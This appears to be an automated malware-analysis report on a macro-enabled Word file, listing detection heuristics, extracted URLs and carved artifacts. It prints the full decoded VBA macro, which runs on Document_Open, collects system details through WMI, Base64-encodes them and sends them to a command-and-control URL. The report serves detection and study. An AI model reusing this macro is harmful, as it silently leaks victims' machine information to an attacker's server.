MALICIOUS
270
Risk Score
Heuristics 8
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VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set xY12b = CreateObject("WScript.Shell") -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
' Create WScript.Shell object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set xY12b = CreateObject("WScript.Shell") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set jK90l = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_OperatingSystem").Item(0) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://c2server.com/callback Referenced by macro
- https://uithcm-my.sharReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.microsoft.com/office/2019/extlstReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- https://uithcm-my.sharepoint.com/personal/23520498_ms_uit_edu_vn/Documents/Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1759 bytes |
SHA-256: 7e41aa0a42b2006010c14b15f911ed43405f8d5297dbec2d8f97e304b370dca8 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim xY12b As Object
Dim aB34c As String
Dim dE56f As String
Dim gH78i As String
Dim jK90l As Object
Dim mN01o As String
Dim pQ23r As String
' Set C2 server URL
aB34c = "http://c2server.com/callback"
' Create WScript.Shell object
Set xY12b = CreateObject("WScript.Shell")
' Gather system information using WMI
Set jK90l = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_OperatingSystem").Item(0)
gH78i = "OS Version: " & jK90l.Version & vbCrLf
gH78i = gH78i & "Computer Name: " & jK90l.CSName & vbCrLf
' Determine architecture
If InStr(1, jK90l.OSArchitecture, "64-bit", vbTextCompare) > 0 Then
mN01o = "64-bit"
Else
mN01o = "32-bit"
End If
gH78i = gH78i & "Architecture: " & mN01o & vbCrLf
' Base64 encode the system information
dE56f = EncodeBase64(gH78i)
' Send the encoded data to the C2 server
Dim sT45u As Object
Set sT45u = CreateObject("MSXML2.XMLHTTP")
sT45u.Open "GET", aB34c & "?data=" & dE56f, False
sT45u.Send
End Sub
Function EncodeBase64(ByVal str As String) As String
Dim vW67x As Object
Dim yZ89a As Object
Set vW67x = CreateObject("MSXML2.DOMDocument")
Set yZ89a = vW67x.createElement("b64")
yZ89a.DataType = "bin.base64"
yZ89a.Text = str
EncodeBase64 = yZ89a.Text
End Function
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 10240 bytes |
SHA-256: b1ad9ee74195910abe8d2e1565ccc83f663e71e2dc7911da3667548ceeb68473 |
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